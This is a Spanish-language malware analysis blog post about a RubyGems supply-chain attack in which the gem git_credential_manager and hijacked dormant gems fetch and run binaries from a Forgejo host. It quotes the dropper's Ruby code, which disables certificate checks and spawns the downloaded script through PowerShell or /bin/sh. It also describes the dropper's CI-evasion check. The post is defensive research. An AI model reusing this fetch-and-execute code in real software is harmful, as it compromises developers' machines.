No es frecuente ver un ataque a la cadena de suministro en RubyGems. Pero con las vacaciones de verano en pleno apogeo, quizás deberíamos haber esperado uno. Aun así, fue una sorpresa cuando abrí la cola de triaje esta mañana y encontré un nuevo paquete sospechoso esperando.
Una gema completamente nueva llamada git_credential_manager había publicado cuatro versiones en rápida sucesión. A primera vista, todo lo que parecía hacer era descargar algunos binarios de un host que nunca había visto antes. Seguramente eso no podría ser malicioso... ¿verdad?
Binarios aleatorios
El paquete destacó inmediatamente porque simplemente descargaba binarios de un repositorio Git alojado en https://git.disroot[.]org/git-ecosystem/.

git.disroot[.]org es una instancia pública de Forgejo donde cualquiera puede crear repositorios. Alguien había registrado convenientemente el nombre de usuario git-ecosystem, haciendo que el proyecto pareciera lo suficientemente legítimo como para evitar sospechas inmediatas.
Dentro del repositorio no había más que binarios, algunos comprimidos. Cuando enviamos uno de ellos a VirusTotal, los proveedores de antivirus no tardaron en marcarlo como malicioso.
¿A qué ha llegado el mundo si ni siquiera podemos confiar en el "Git Ecosystem"?
No es precisamente sutil, una vez que se mira
Desglosando las cuatro versiones, se puede observar cómo el mecanismo de entrega se construye en tiempo real a lo largo de unas nueve horas, en dos sesiones.
Versión 2.8.0 ya era un dropper completamente funcional desde el primer día: construir una URL contra ese host Forgejo codificado, obtenerla con la verificación de certificados explícitamente desactivada y entregar la carga útil directamente a un shell o PowerShell:
def base_url
"https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # Desactivar la verificación SSLif goos == "windows"
Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
else
Process.spawn("/bin/sh \"#{full_path}\"")
end
Versión 2.8.1, 24 minutos después, cambió exactamente una cosa: redirigió la salida de la ejecución de Unix a /dev/null. Ninguna nueva capacidad, solo una más silenciosa. Alguien estaba observando la salida de la consola de su propio malware y decidió que era demasiado ruidosa.
Luego hay un lapso de ocho horas, presumiblemente para dormir, antes de que la versión 2.8.2 aparezca a la mañana siguiente con la escalada real: el instalador se conecta directamente a la ruta de carga del gem, de modo que simplemente Requerir-ing git_credential_manager (no instalar un binario, no ejecutar nada explícitamente, solo cargar la librería) es suficiente para iniciar todo el proceso. Y en esa misma versión, la línea que activa el script descargado está comentada. Diecisiete minutos después, la versión 2.8.3 la descomenta. Un solo carácter, funcionalmente, y el dropper pasa de estar en fase de preparación a estar activo.
También hay una comprobación `skip_install?` que busca aproximadamente 30 variables de entorno pertenecientes a plataformas CI, GitHub Actions, GitLab CI, CircleCI, Travis, Jenkins, Vercel, y no hace nada si detecta alguna. Esto fue diseñado para evitar servidores de compilación a propósito. Busca portátiles de desarrolladores, no ejecutores de CI desechables.
Otros paquetes comprometidos
A continuación, revisé la cuenta del editor y observé que mantenían varios otros gems. Algunos no se habían actualizado desde 2019, mientras que otros habían recibido repentinamente nuevas versiones ayer y hoy.
El más notable fue Dendreo, publicado por primera vez en 2017. Casi al mismo tiempo que git_credential_manager, aparecieron dos nuevas versiones. Como era de esperar, el atacante había añadido git_credential_manager como dependencia, permitiendo que la carga útil maliciosa se propagara a los usuarios existentes.

Aún más preocupante, el atacante también publicó una nueva versión de fastlane-plugin-run_tests_firebase_testlab, un proyecto completamente ajeno con 574.661 descargas totales. A diferencia de los otros gems comprometidos, este pertenecía a un mantenedor completamente diferente, lo que sugiere que el compromiso se extendió más allá de una sola cuenta.

La verdadera lección aquí
Hemos cubierto numerosos incidentes de npm y PyPI similares a este. RubyGems se había mantenido al margen de esta tendencia en su mayor parte, y no pudimos encontrar un caso anterior de dos cuentas de mantenedores no relacionadas y largamente inactivas reactivadas con horas de diferencia para introducir la misma dependencia en gems en los que la gente ya confiaba. Por lo que sabemos, esta es la primera vez que RubyGems experimenta realmente lo que npm y PyPI han estado enfrentando durante más de un año.
Una cuenta de RubyGems que ha estado inactiva durante seis o siete años no parece arriesgada para nadie. Ese es exactamente el perfil que vale la pena tomar el control. De ahí viene el nombre SleeperGem: no un activo de atacante plantado a largo plazo, sino una cuenta real y ordinaria que simplemente había quedado inactiva y parecía lo suficientemente inofensiva como para ser secuestrada sin que nadie se diera cuenta.
Dos cuentas comprometidas hasta ahora, en un registro que en su mayor parte había evitado esto hasta ahora. Esperemos que esto no se convierta en una tendencia.

